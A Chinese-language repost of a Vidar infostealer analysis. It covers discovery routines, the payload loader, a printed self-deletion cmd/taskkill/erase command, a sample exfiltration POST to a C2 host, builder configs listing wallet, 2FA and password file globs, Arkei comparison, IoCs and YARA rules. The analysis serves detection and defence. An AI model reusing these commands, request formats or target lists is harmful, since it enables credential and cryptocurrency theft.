内容简介:接着上文,继续对Vidar窃密木马进行介绍。通过注册表项的值来获取硬件名称:
接着上文,继续对Vidar窃密木马进行介绍。
硬件
通过注册表项的值来获取硬件名称:
HKEY_LOCAL_MACHINE HARDWARE DESCRIPTION SYSTEM CentralProcessor ProcessorNameString
网络
网络部分的实现很简单,通过将从 ip-api.com/line/ 获取的数据进行转换,然后放入相应的日志中即可。
进程
当Vidar运行后,将结合多个函数,来对正在运行的进程进行快照。
当然,实现的步骤不难理解:
-
先调用 CreateToolhelp32Snapshot 来获取所有已执行进程的完整快照,再使用 Process32First 在循环中读取每个进程。
然后检查该进程是父进程还是子进程,并获取 PROCESSENTRY32 对象的以下2个值:
- th32ProcessID: PID
- szExeFile: The name of the PE
软件
通过注册表项的值来获取系统已安装的软件:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall
它将对系统软件的以下2个值进行检索:
- DisplayName
- DisplayVersion
结果
如果你想看最终执行结果,可以参考下面在 沙箱中运行 后生成的 information.txt(此处为Vidar 4.2版本)
Vidar Version: 4.2 Date: Thu Dec 13 14:39:05 2018 MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963} Path: C:UsersadminAppDataLocalTemptoto.exe Work Dir: C:ProgramDataLDGQ3MM434V3HGAR2ZUK Windows: Windows 7 Professional [x86] Computer Name: USER-PC User Name: admin Display Resolution: 1280x720 Display Language: en-US Keyboard Languages: English (United States) Local Time: 13/12/2018 14:39:5 TimeZone: UTC-0 [Hardware] Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz CPU Count: 4 RAM: 3583 MB VideoCard: Standard VGA Graphics Adapter [Network] IP: 185.230.125.140 Country: Switzerland (CH) City: Zurich (Zurich) ZIP: 8010 Coordinates: 47.3769,8.54169 ISP: M247 Ltd (M247 Ltd) [Processes] - System [4] ---------- smss.exe [264] - csrss.exe [344] < ... > [Software] Adobe Flash Player 26 ActiveX [26.0.0.131] Adobe Flash Player 26 NPAPI [26.0.0.131] Adobe Flash Player 26 PPAPI [26.0.0.131] < ... >
Loader模块
这个模块在代码实现上比较简单,但完成功能绰绰有余。
- 1.为即将下载的payload生成随机名称
- 2.下载payload
- 3.执行payload
当从C2下载完二进制文件时,将使用具有特定参数的 CreateFileA 函数:
- edi: 从C2下载的数据
- 80h: 文件没有设置其他属性(此属性仅在单独使用时才有效)
- 2: 若文件名已存在,此选项将强制覆盖
- edi: ???
- 1*: 在接下里的操作中,访问设备或文件,需要读权限。除此之外,进程无法访问需要读权限的文件或设备
- 40000000h: 写入权限(GENERIC_WRITE)
- ebp + lpFileName: 生成的文件名
完成后,只需要将内容写入文件(WriteFile),然后关闭相应句柄 (CloseHandle)即可。
到目前为止,文件已经被下载并保存在硬盘中,只需要用ShellExecuteA进行启动。所以不要犹豫,就在此时对API函数下断点来捕捉payload,不然错过最佳时机。
Killing 模块
当窃密软件完成所有任务和清理工作后,会进行自我清除。首先它会调用 GetCurrentProcessId 来查询自己的 PID 。
然后进入“func_GetProcessIdName”,尝试用 OpenProcess 打开自己的进程句柄,如果失败,将继续检索。这里最重要的环节是调用 GetModuleBaseNameA ,它可以通过之前获取的PID来检索出其对应进程的进程名。
在.rdata中将一些字符串进行硬编码,以备将来调用。
当精心构造的请求完成后,Vidar 将使用 ShellExecuteA 调用 shell 命令行并执行指定的任务。这使它拥有清除payload和失陷主机交互痕迹的能力。
回顾一下执行的命令:
C:WindowsSystem32cmd.exe” /c taskkill /im vidar.exe /f & erase C:UsersPouetAppDataLocalTempvidar.exe & exit
对应解释说明:
Offset File + db ‘/c taskkill /im’ + [GetModuleBaseNameA] + db ‘ /f & erase’ + [GetModuleFileNameExA + GetModuleBaseNameA]+ + db ‘ & exit’
信息存档
生成文件夹
文件夹命名格式为:
COUNTRY + “_” + Machine GUID + “.zip”
例如:
NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip
最终的POST请求
在生成POST请求的过程中,最终生成的POST请求将进行修改,添加额外的标识以便C2服务器进行识别处理。
不同的name字符串将保存在不同的数据库中,所以在HTTP请求中将出现不同的Content-Disposition。
此外,我在这里发现了一个它使用的小技巧,就是在POST请求的响应中包含loader的配置信息。
- 如果没有包含信息,则响应”OK”
- 如果包含了信息,则将特定的url存储在其中。
这与config及network information模块采用了相同的技术。
沙盒示例:
- POST请求
- 对于POST请求的响应
服务端
因为很容易就可以找到与这款窃密软件的相关信息,所以不需要费力去寻找在哪里才能买到它。为了吸引更多的用户,网上有许多教学视频,让我们通过视频教程来对它深入了解(所以截图均出自视频)。需要说明的是,以下界面为11月时的操作界面,现在可能发生了变化。
Dashboard
主面板具有很好的用户友好性。用户可以快速浏览自己账户内的各项基本信息。
- builder版本
- 何时可以生成payload
- 受害者数
- 账号到期时间
对于日志部分,需要提一下的是系统允许用户为日志添加相应的注释。
Builder
Builder界面也很有趣,可以在这里看到使用者的操作日志。此外, 在下载部分生成的恶意软件和Arkei一样,并不会打包。
因此用户者必须使用加密/打包软件来对payload进行处理。
显而易见,这是最重要的界面,因为在这里可以生成payload。可以通过设置,启用(或不启用)某些功能来达到对目标机器进行针对性攻击。
因此,通过配置,Vidar可以同时执行多项功能。这意味着当payload感染受害者主机后,根据配置,窃取到的各项信息将保存在对应的文件夹中。获取到窃取的文件后,攻击者通过排序,可以很轻松的查看各项信息。
当编辑或创建新规则时,将弹出此界面来实现之前提到的功能。恶意软件将到所有可能存在的路径下去检索指定的文件。
经分析,我们发现在C2上,有许多配置项。以下是我们能找到的:
默认空配置:
1,1,1,1,1,1,1,1,0,1,250,none;
默认初始配置:
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
用户配置示例:
1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;100;true;movies:music:mp3; 1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; 1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3; 1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
同时执行多项配置:
1,1,1,1,1,1,0,1,1,1,250, DESKTOP;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll; DOCUMENTS;%DOCUMENTS%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll; DRIVE_REMOVABLE;%DRIVE_REMOVABLE%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
如上文中所示,通过特定的格式,将其分为三个部分,三项配置分别为:
- DESKTOP
- DOCUMENTS
- DRIVE_REMOVABLE
它们将各自存储在对应的文件夹中。
所有配置信息都可以在我的 github 仓库中找到。
通过对配置面板的介绍,可以看出窃密软件无论是在loader模块,还是投递手段等方面,都变的越来越类似。
正如一开始提到的,用户只能通过该界面对恶意软件进行配置,具体的管理由维护团队来负责。为了防止代理被过滤,控制域名将定期进行更换。(这一点在样本中也很容易看出来,因为不同的版本将对应不同的域名)
如官方声明所说,在用户界面,还存在2FA认证。
一些有趣的信息
在登录界面搜索信息时,将看到一些有趣的信息。
让我们看看背后隐藏着什么?
原来是一个彩蛋,来告诉大家Vidar(维达)是北欧神话中的复仇之神。
Vidar—山寨版Arkei?
如果关注相关request(请求)和代码,会发现Vidar几乎与Arkei相同。虽然在某些方面略有不同,但所有功能都是相同的。如果蓝队成员只是根据沙箱运行结果进行判断,就会被迷惑。因为目前的Yara规则会将触发条件的Vidar当做Arkei,这会导致错误的检测结果。因此对代码进行分析是非常有必要的,这样才能弄清楚它是如何运行的。
他们(Vidar&Arkei)的主要功能非常相似:
保存窃取到信息的方法也一样。所以很难通过这些方面对二者进行区分。
代码差异
一个简单的判断方法就是看有没有“Vidar.cpp”这个字符串。
Vidar的签名
Arkei的签名
通信差异
分析人员可能会误认为Vidar与Arkei构造的HTTP 请求是不同的,然而事实并非如此。
Vidar HTTP 请求
/ (i.e 162) <- 配置信息 ip-api.com/line/ <- 获取网络配置信息 /msvcp140.dll <- 获取DLL文件 /nss3.dll <- 获取DLL文件 /softokn3.dll <- 获取DLL文件 /vcruntime140.dll <- 获取DLL文件 / <- 向C2上传受害者信息
一个小的区别是Arkei不会下载二进制文件,而Vidar则会下载执行一些窃密模块时所需的相关二进制文件。
Arkei HTTP请求
/index.php <- 配置信息 ip-api.com/line/ <- 获取网络配置信息 /index.php <- 向C2上传受害者信息
配置参数
如果你想弄清楚Arkei中各配置参数的含义,可以参考下表:
可以看到,POST发生了轻微的变化,Vidar添加了配置文件名、版本等新字段。
我们可以通过PCAP数据流来更清楚的看出request中的异同,可以看到除了除了版本信息和配置信息,其他部分都是相同的(不同之处用星号标记)。如果我们分析更老的版本,将发现除了请求的路径之外,没有其他区别
最后的POST请求—Vidar
POST / HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 66809 Host: some.lovely.vidar.c2.with.love Connection: Keep-Alive Cache-Control: no-cache --1BEF0A57BE110FD467A Content-Disposition: form-data; name="hwid" 90059c37-1320-41a4-b58d-2b75a9850d2f --1BEF0A57BE110FD467A Content-Disposition: form-data; name="os" Windows 7 Professional --1BEF0A57BE110FD467A Content-Disposition: form-data; name="platform" x86 **--1BEF0A57BE110FD467A** **Content-Disposition: form-data; name="profile"** **XXX <- Random Int** --1BEF0A57BE110FD467A Content-Disposition: form-data; name="user" admin --1BEF0A57BE110FD467A Content-Disposition: form-data; name="cccount" 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="ccount" 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="fcount" 0 **--1BEF0A57BE110FD467A** **Content-Disposition: form-data; name="telegram"** 0 --1BEF0A57BE110FD467A Content-Disposition: form-data; name="ver" **4.1** --1BEF0A57BE110FD467A Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip" Content-Type: zip
功能差异
通过对不同功能的分析, 我发现在Vidar中一些功能并没有实现。比如Steam信息窃取和Skype信息窃取,在Arkei中是有这些功能的,而在Vidar中,并没有实现。但相反的,对于2FA 信息的窃取,只有Vidar能做到。(至少根据我获取到的样本是这样)
Arkei是否仍活跃?
在一个售卖此窃密软件的页面可以看到,该软件仍在被出售并保持更新。可以看到不久的将来将发布v10版本,所以让我们拭目以待,看看它有哪些变化。
破解版Vidar
此外,一些人在推特上发现了经破解的版本。在操作页面源码中,这款基于Vidar 2.3版本构建的软件被称之为Vidar 或 “Anti-Vidar”。
登录
它的登录界面和Android Lokibot一样(感谢 @siri_urz )。在这种情况中,代码永远不会说谎,它会帮助我们识别真正的C2/恶意软件。
配置代码
与现在的操作面板及样本相比,破解版的配置要简单的很多。默认配置硬编码在 PHP 文件中,当value为11时就可以获取配置信息。
IoCs
SHA256哈希
3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65 0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF 2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835 9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29 42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889 66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8 EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9 EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475 543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292 65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9 47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46 5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155 5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E 65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A 20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675 C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5 AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0 8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1
感谢 @benkow _帮忙找到的一些样本
domains
malansio.com nasalietco.com binacoirel.com newagenias.com bokolavrstos.com naicrose.com benderio.com cool3dmods.com
MITRE ATT&CK
- 发现 – 系统信息发现
- 发现 – 系统时间发现
- 发现 – 查询注册表
- 发现 – 进程检索
- 执行 – 命令行界面
- 执行 – 通过模块加载执行
- 凭据访问 – 文件中的凭据
- 收藏 – 屏幕捕获
- 收集 – 来自可移动媒体的数据
- 收集 – 来自本地系统的数据
- 窃密 – 数据压缩
Yara规则
Vidar
rule Vidar_Stealer : Vidar { meta: description = "Yara rule for detecting Vidar stealer" author = "Fumik0_" strings: $mz = { 4D 5A } $s1 = { 56 69 64 61 72 } $s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 } condition: $mz at 0 and ( (all of ($s*)) ) } rule Vidar_Early : Vidar { meta: description = "Yara rule for detecting Vidar stealer - Early versions" author = "Fumik0_" strings: $mz = { 4D 5A } $s1 = { 56 69 64 61 72 } $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 } condition: $mz at 0 and all of ($hx*) and not $s1 } rule AntiVidar : Vidar { meta: description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version" author = "Fumik0_" strings: $mz = { 4D 5A } $s1 = { 56 69 64 61 72 } $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 } $hx2 = { 78 61 6B 66 6F 72 2E 6E 65 74 00 } condition: $mz at 0 and all of ($hx*) and not $s1 }
Arkei
rule Arkei : Arkei rule Arkei : Arkei { meta: Author = "Fumik0_" Description = "Rule to detect Arkei" Date = "2018/12/11" strings: $mz = { 4D 5A } $s1 = "Arkei" wide ascii $s2 = "/server/gate" wide ascii $s3 = "/server/grubConfig" wide ascii $s4 = "\files\" wide ascii $s5 = "SQLite" wide ascii $x1 = "/c taskkill /im" wide ascii $x2 = "screenshot.jpg" wide ascii $x3 = "files\passwords.txt" wide ascii $x4 = "http://ip-api.com/line/" wide ascii $x5 = "[Hardware]" wide ascii $x6 = "[Network]" wide ascii $x7 = "[Processes]" wide ascii $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 } condition: $mz at 0 and ( (all of ($s*)) or ((all of ($x*)) and not $hx1)) }
GitHub
建议
和我以前的博文中提到的一样,需要注意:
- 始终在虚拟机中运行恶意软件,并在虚拟机中安装增强功能(如Guest Additions)来触发尽可能多的虚拟机检测,然后关闭恶意软件。
- 完成检测后,停止虚拟机并还原到纯净的快照。
- 避免将文件存储在预先指定的路径(如Desktop, Documents, Downloads)中,而是放在不常见的位置。
- 不要愚蠢的去点击youtube上那些教你破解热门游戏或快速赚钱的弹框。(像Free Bitcoin Program /facepalm)
- 关闭浏览器前记得清除历史记录,不要使用“记住密码”。
- 不要使用同一密码注册多个网站。尽可能使用2FA 。
结语
这次分析经历对我而言就像一场探秘游戏。虽然很难去判断Vidar是否为Arkei的升级版,还是基于Arkei代码进行了二次开发。但就目前而言,正因为它是一款新的恶意软件,非常活跃,不断推出新的版本,所以我们可以保持持续跟踪。另一方面,它又和Android Lokibot使用了一样的皮肤主题(破解版),但由于没有相关样本,导致缺失一些用来找到真正C2的关键信息。现在,让我们跟随着时间,看是否能得到更多线索来得到答案。
对于我个人,总结一下。我做了比预想中更多的事,2018是真正思考的一年,曾面对了许多问题和考验。我准备好迎接新一年的挑战了。今年经常因为学习而废寝忘食,现在是时候休息一下了。
感谢我们的小伙伴们,你们是最棒的!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Vidar窃密木马分析(上)
- Pony Loader窃密木马样本分析
- Cyborg窃密木马及其工具和流程分析
- 窃密团伙瞄准企业机密信息,备用病毒超60个
- Poulight Stealer:来自俄罗斯的窃密恶意软件
- 木马分析:分析针对意大利的Ursnif银行木马
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
写给大忙人看的Java SE 8
【美】Cay S. Horstmann(凯.S.霍斯曼) 编 / 张若飞 / 电子工业出版社 / 2014-11 / 59.00元
《写给大忙人看的Java SE 8》向Java开发人员言简意赅地介绍了Java 8 的许多新特性(以及Java 7 中许多未被关注的特性),《写给大忙人看的Java SE 8》延续了《快学Scala》“不废话”的风格。 《写给大忙人看的Java SE 8》共分为9章。第1章讲述了lambda表达式的全部语法;第2章给出了流的完整概述;第3章给出了使用lambda表达式设计库的有效技巧;第4章......一起来看看 《写给大忙人看的Java SE 8》 这本书的介绍吧!